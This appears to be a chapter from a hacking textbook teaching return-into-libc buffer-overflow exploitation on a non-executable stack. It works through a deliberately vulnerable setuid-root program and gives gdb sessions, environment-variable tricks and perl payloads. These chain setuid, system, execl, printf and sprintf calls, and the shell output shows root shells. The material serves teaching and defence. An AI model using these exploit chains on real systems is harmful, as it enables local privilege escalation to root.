Table of Contents
Previous Section Next Section

0x2b0 Returning into libc

Most applications never need to execute anything on the stack, so an obvious defense against buffer-overflow exploits is to make the stack non-executable. When this is done, shellcode existing anywhere on the stack is basically useless. This type of defense will stop the majority of exploits out there, and it is becoming more popular. The latest version of OpenBSD has a non-executable stack by default.

Of course, there is a corresponding technique that can be used to exploit programs in an environment with a non-executable stack. This technique is known as returning into libc. Libc is a standard C library that contains various basic functions, like printf() and exit(). These functions are shared, so any program that uses the printf() function directs execution into the appropriate location in libc. An exploit can do the exact same thing and direct a program's execution into a certain function in libc. The functionality of the exploit is limited by the functions in libc, which is a significant restriction when compared to arbitrary shellcode. However, nothing is ever executed on the stack.

0x2b1 Returning into system()

One of the simplest libc functions to return into is system(). This function takes a single argument and executes that argument with /bin/sh. For this example, the simple vulnerable program vuln2.c will be used.

The general idea is to get the vulnerable program to spawn a shell, without executing anything on the stack, by returning into the libc function system(). If this function is supplied with the argument of "/bin/sh", this should spawn a shell.

$ cat vuln2.c
int main(int argc, char *argv[])
{
      char buffer[5];
      strcpy(buffer, argv[1]);
      return 0;
}
$ gcc -o vuln2 vuln2.c
$ sudo chown root.root vuln2
$ sudo chmod u+s vuln2

First, the location of the system() function in libc must be determined. This will be different for every system, but once the location is known, it will remain the same until libc is recompiled. One of the easiest ways to find the location of a libc function is to create a simple dummy program and debug it, like this:

$ cat > dummy.c
int main()
{
system();
}
$ gcc -o dummy dummy.c
$ gdb -q dummy
(gdb) break main
Breakpoint 1 at 0x8048406
(gdb) run
Starting program: /hacking/dummy

Breakpoint 1, 0x08048406 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x42049e54 <system>
(gdb) quit

Here a dummy program is created that uses the system() function. After it's compiled, the binary is opened in a debugger and a breakpoint is set at the beginning. The program is executed, and then the location of the system() function is displayed. In this case, the system() function is located at 0x42049e54.

Armed with that knowledge, program execution can be directed into the system() function of libc. However, the goal here is to cause the vulnerable program to execute system("/bin/sh") to provide a shell, so an argument must be supplied. When returning into libc, the return address and function arguments are read off the stack in what should be a familiar format: the return address followed by the arguments. On the stack, the return-into-libc call should look something like this:

Click To expand

Directly after the address of the desired libc function is the address where execution should return to after the libc call. After that return address are all of the function arguments in sequence.

In this case, it doesn't really matter where the execution returns to after the libc call, because it will be opening an interactive shell. Therefore, these 4 bytes can just be a placeholder value of "FAKE". There is only one argument, which should be a pointer to the string /bin/sh. This can be stored anywhere in memory — an environment variable is an excellent candidate.

$ export BINSH="/bin/sh"
$ ./gtenv BINSH
BINSH is located at 0xbffffc40
$

So the system() address is 0x42049e54, and the address for the "/bin/sh" string will be 0xbffffc40 when the program is executed. That means the return address on the stack should be overwritten with a series of addresses, beginning with 0x42049e54, followed by FAKE (because it doesn't matter where execution goes after the system() call), and concluding with 0xbffffc40.

Prior experience with the vuln2 program has shown that the return address on the stack is overwritten by the eighth word of the program input, so seven words of dummy data are used for spacing.

$ ./vuln2 'perl -e 'print "ABCD"x7 . "\x54\x9e\x04\x42FAKE\x40\xfc\xff\xbf";''
sh-2.05a$ id
uid=500(matrix) gid=500(matrix) groups=500(matrix)
sh-2.05a$ exit
exit
Segmentation fault
$ ls -l vuln2
-rwsrwxr-x    1 root    root    13508 Apr 16 22:10 vuln2
$

The system() call worked, but it didn't provide a root shell, even though the vuln2 program was suid root. This is because system() executes everything through /bin/sh, which drops privileges. There must be a way around this.

0x2b2 Chaining Return into libc Calls

In a BugTraq post, Solar Designer suggested chaining libc calls so a setuid() executes before the system() call to restore privileges. This chaining can be done by taking advantage of the return address value that was previously ignored. The following series of addresses will chain a call from setuid() to system(), as shown in this illustration.

Click To expand

The setuid() call will execute with its argument. Because it's only expecting one argument, the argument for the system() call (the fourth word) will be ignored. After it's finished, execution will return to the system() function, which will use its argument as expected.

The idea of chaining calls is quite clever, but there are other problems inherent in this method of restoring privileges. The setuid() argument is expecting an unsigned integer value, so in order to restore root level privileges, this value must be 0x00000000. Unfortunately, the buffer is still a string that will be terminated by null bytes. Avoiding the use of null bytes, the lowest value that can be used for this argument is 0x01010101, which has a decimal value of 16843009. While this isn't quite the desired result, the concept of chaining calls is still important and worth the practice.

$ cat > dummy.c
int main() { setuid(); }
$ gcc -o dummy dummy.c
$ gdb -q dummy
(gdb) break main
Breakpoint 1 at 0x8048406
(gdb) run
Starting program: /hacking/dummy

Breakpoint 1, 0x08048406 in main ()
(gdb) p setuid
$1 = {<text variable, no debug info>} 0x420b5524 <setuid>
(gdb) quit
The program is running. Exit anyway? (y or n) y
$ ./vuln2 'perl -e 'print "ABCD"x7 .
"\x24\x55\x0b\x42\x54\x9e\x04\x42\x01\x01\x01\x01\x40\xfc\xff\xbf";''
sh-2.05a$ id
uid=16843009 gid=500(matrix) groups=500(matrix)
sh-2.05a$ exit
exit
Segmentation fault
$

The address of the setuid() function is determined the same way as before, and the chained libc call is set up as described previously. The setuid() arguments are displayed in bold to make them more readable. As expected, the uid is set to 16843009, but this is still far from a root shell. Somehow, a setuid(0) call must be made without terminating the string early with null bytes.

0x2b3 Using a Wrapper

One simple and effective solution is to create a wrapper program. This wrapper will set the user ID (and group ID) to 0 and then spawn a shell. This program doesn't need any special privileges, because the vulnerable suid root program will be executing it.

In the following output, a wrapper program is created, compiled, and used.

$ cat > wrapper.c
int main()
{
setuid(0);
setgid(0);
system("/bin/sh");
}
$ gcc -o /hacking/wrapper wrapper.c
$ export WRAPPER="/hacking/wrapper"
$ ./gtenv WRAPPER
WRAPPER is located at 0xbffffc71
$ ./vuln2 'perl -e 'print "ABCD"x7 . "\x54\x9e\x04\x42FAKE\x71\xfc\xff\xbf";''
sh-2.05a$ id
uid=500(matrix) gid=500(matrix) groups=500(matrix)
sh-2.05a$ exit
exit
Segmentation fault
$

As the preceding results show, privileges are still being dropped. Can you figure out why?

The wrapper program is still being executed with system(), which executes everything through /bin/sh. This will drop privileges as the wrapper is executed, because /bin/sh drops privileges. However, a more direct execution function, like execl(), doesn't use /bin/sh and therefore shouldn't drop privileges. This effect can be tested and confirmed quickly with a few test programs.

$ cat > test.c
int main()
{
system("/hacking/wrapper");
}
$ gcc -o test test.c
$ sudo chown root.root test
$ sudo chmod u+s test
$ ls -l test
-rwsrwxr-x    1 root    root       13511 Apr 17 23:29 test
$ ./test
sh-2.05a$ id
uid=500(matrix) gid=500(matrix) groups=500(matrix)
sh-2.05a$ exit
exit
$
$ cat > test2.c
int main()
{
execl("/hacking/wrapper", "/hacking/wrapper", 0);
}
$ gcc -o test2 test2.c
$ sudo chown root.root test2
$ sudo chmod u+s test2
$ ls -l test2
-rwsrwxr-x    1 root    root       13511 Apr 17 23:33 test2
$ ./test2
sh-2.05a# id uid=0(root) gid=0(root) groups=500(matrix)
sh-2.05a# exit
exit
$

The test programs confirm that a root shell will be spawned if the wrapper program is executed with execl() from a setuid root program. Unfortunately, execl() is a more complex function than system(), especially for returning into libc. The system() function only requires a single argument, but the execl() call will require three arguments, the last of which must be four null bytes (to terminate the argument list). But the first null byte will terminate the string early, causing a dilemma similar to what we had before. Can you think of a solution?

0x2b4 Writing Nulls with Return into libc

Obviously, to make a clean execl() call, there must be some other call before it to write the 4-byte word of nulls. I spent a decent amount of time searching through all of the libc functions, looking for a likely candidate for this task. Finally my search converged on the printf() function. You should be familiar with this function by now from the format-string exploits. The use of direct parameter access allows the function to access only the function arguments it needs, which is helpful when chaining libc calls. Also, the %n format parameter can be used to neatly write four null bytes. The complete chained call looks something like this:

Click To expand

First, the printf() function executes with four arguments, but the use of direct parameter access in the format string found in the first argument causes the function to skip over the second and third arguments. Because the final argument is its own address, the four null bytes will overwrite that argument. Then the execution will return into the execl() function, which will use three arguments as expected, the third argument neatly terminating the argument list with a null.

So now that there's a plan, the addresses for the libc functions need to be found, and some strings need to be put into memory.

$ cat > dummy.c
int main() { printf(0); execl(); }
$ gcc -g -o dummy dummy.c
$ gdb -q dummy
(gdb) break main
Breakpoint 1 at 0x8048446: file dummy.c, line 1.
(gdb) run
Starting program: /hacking/dummy

Breakpoint 1, 0x08048446 in main () at dummy.c:1
1       int main() { printf(); execl(); }
(gdb) p printf
$1 = {<text variable, no debug info>} 0x4205a1b4 <printf>
(gdb) p execl
$2 = {<text variable, no debug info>} 0x420b4e54 <execl>
(gdb) quit
The program is running. Exit anyway? (y or n) y
$
$ export WRAPPER="/hacking/wrapper"
$ export FMTSTR="%3\$n"
$ env | grep FMTSTR
FMTSTR=%3$n
$ ./gtenv FMTSTR
FMTSTR is located at 0xbffffedf
$ ./gtenv WRAPPER
WRAPPER is located at 0xbffffc65
$

The preceding investigation has provided every address needed, except for the last argument. This needs to be the actual address of where this address will be in memory when it's copied over. This will be the address of the buffer variable, plus 48 bytes consiting of 28 bytes of garbage for spacing and then 20 bytes for the prior addresses in the return-into-libc call (the amount of garbage data needed for spacing may differ depending on your system's stack). One of the easiest ways to get this address is to simply add a debugging statement to the vulnerable program's source code and recompile it.

$ cat vulnD.c
int main(int argc, char *argv[])
{
   char buffer[5];
  printf("buffer is at %p\n", buffer);    // debugging
   strcpy(buffer, argv[1]);
   return 0;
}
$ gcc -o vulnD vulnD.c
$ ./vulnD test
buffer is at 0xbffffa80
$ ./vulnD 'perl -e 'print "ABCD"x13;''
buffer is at 0xbffffa50
Segmentation fault
$ pcalc 0xfa50 + 48
        64128           0xfa80                0y1111101010000000
$

With the debugging added (shown in bold), the address of the buffer variable is printed. Presumably, the buffer will be in the same location when the very similar vuln2 program is executed.

However, the length of the program's argument will change the location of the buffer variable. During the exploit, the argument will consist of 13 words (52 bytes) of data. A fake argument with the same length can be used to get the correct buffer address. Then 48 can be added to the buffer address to provide the location of the third execl() argument, where the null word should be written.

With all the addresses known and strings loaded into environment variables, the exploitation is easy.

$ ./vuln2 'perl -e 'print "ABCD"x7 . "\xb4\xa1\x05\x42" . "\x54\x4e\x0b\x42" .
"\xdf\xfe\xff\xbf" . "\x65\xfc\xff\xbf" . "\x65\xfc\xff\xbf" .
"\x80\xfa\xff\xbf";''
sh-2.05a# id
uid=0(root) gid=0(root) groups=500(matrix)
sh-2.05a# exit
exit

0x2b5 Writing Multiple Words with a Single Call

Format strings married with return-into-libc calls can also provide a way to write multiple words with a single call. If it isn't possible to create a wrapper program, a root shell can still be spawned by chaining three libc calls. The sprintf() function works just like printf(), but it outputs to a string designated by its first argument. This can be used to write two 4-byte words with a single call, which will be necessary for three calls to chain properly. The chain will actually modify itself during execution.

The before and after versions look something like this:

Click To expand

The sprintf() call will happen first, parsing the format string to write the 4-byte value of 0 over the address of the format string. Then the rest of the string, containing the address of system(), is written to the address of the first argument, which overwrites itself. After the sprintf() call, the middle two words will be overwritten, and execution will return into the setuid() function. This will execute using the newly written null word as its argument, setting root privileges and finally returning into the newly written address for the system() function, which will execute the shell.

$ echo "int main(){sprintf(0);setuid();system();}">d.c;gcc -o d.o d.c;gdb -q d.o;rm
d.*
(gdb) break main
Breakpoint 1 at 0x8048476
(gdb) run
Starting program: /hacking/d.o

Breakpoint 1, 0x08048476 in main ()
(gdb) p sprintf
$1 = {<text variable, no debug info>} 0x4205a234 <sprintf>
(gdb) p setuid
$2 = {<text variable, no debug info>} 0x420b5524 <setuid>
(gdb) p system
$3 = {<text variable, no debug info>} 0x42049e54 <system>
(gdb) quit
The program is running. Exit anyway? (y or n) y
$ export BINSH="/bin/sh"
$ export FMTSTR="%2\$n'printf "\x54\x9e\x04\x42";'"
$ env | grep FMTSTR
FMTSTR=%2$nTB
$ ./gtenv BINSH
BINSH is located at 0xbffffc34
$ ./gtenv FMTSTR
FMTSTR is located at 0xbffffedd
$ ./vulnD 'perl -e 'print "ABCD"x13;''
buffer is at 0xbffffa60
Segmentation fault
$ pcalc 0xfa60 + 28 + 8
        64132            0xfa84          0y1111101010000100
$ pcalc 0xfa60 + 28 + 12
        64136            0xfa88          0y1111101010001000
$ ./vuln2 'perl -e 'print "ABCD"x7 . "\x34\xa2\x05\x42" . "\x24\x55\x0b\x42" .
"\x84\xfa\xff\xbf" . "\xdd\xfe\xff\xbf" . "\x34\xfc\xff\xbf" .
"\x88\xfa\xff\xbf";''
sh-2.05a# id
uid=0(root) gid=500(matrix) groups=500(matrix)
sh-2.05a#

Once again, a dummy program containing the necessary functions is compiled and debugged to find the function addresses in libc. This time, the process is crammed into a single line.

Next, the format string containing the system() address and the /bin/sh string are put into memory via environment variables, and their respective addresses are calculated. Because the chain needs to modify itself, the address of the chain in memory must also be determined. This is done using vulnD, the version of the vuln2 program containing the debugging statement. Once the address of the beginning of the buffer is known, some simple calculations will reveal the addresses where the system() address and the null word should be written in the chain. Finally, it's just a matter of using these addresses to create the chain and then exploiting. This type of self-modifying chain allows for exploitation on systems with non-executable stacks, without the use of a wrapper program. Nothing but libc calls.

Once the basic concepts of exploiting programs are understood, countless variations are possible with a little bit of creativity. Because the rules of a program are all defined by the creators, exploiting a supposedly secure program is simply a matter of beating them at their own game. New methods, such as stack guards and IDSs, are clever methods to try to compensate for these problems, but these solutions aren't perfect either. A hacker's ingenuity tends to find the holes left in these systems. Just think of the things that they didn't think of.


Table of Contents
Previous Section Next Section